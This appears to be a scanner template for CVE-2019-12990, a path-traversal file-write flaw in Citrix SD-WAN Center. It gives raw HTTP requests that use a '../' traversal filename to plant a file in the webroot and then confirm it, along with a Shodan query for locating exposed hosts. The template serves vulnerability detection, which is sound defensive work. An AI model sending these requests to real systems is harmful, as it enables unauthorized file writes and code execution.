55 lines
2.3 KiB
YAML
55 lines
2.3 KiB
YAML
id: CVE-2019-12990
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info:
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name: Citrix SD-WAN Center - Local File Inclusion
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author: gy741
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severity: critical
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description: |
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Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
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remediation: |
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Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2019-31
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- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-12990
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cwe-id: CWE-22
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epss-score: 0.95724
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epss-percentile: 0.99219
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cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: citrix
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product: netscaler_sd-wan
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shodan-query: http.title:"Citrix SD-WAN"
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tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive
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http:
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- raw:
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- |
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GET /login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
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- |
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GET /talari/app/files/{{randstr}} HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers:
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- type: dsl
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dsl:
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- contains(header, "text/html")
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- status_code_3 == 200
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- contains(body_1, "<title>Citrix SD-WAN</title>")
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condition: and
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# digest: 4a0a004730450221009d84df9ab6496048a77606be374e015d7a4f9d786b628ae94e4fa6c2fb5ea48802200c9c1cd61a7dc8447fd39d22b2b2377b5ec00b5398dc02fedc03332f0dae91f2:922c64590222798bb761d5b6d8e72950
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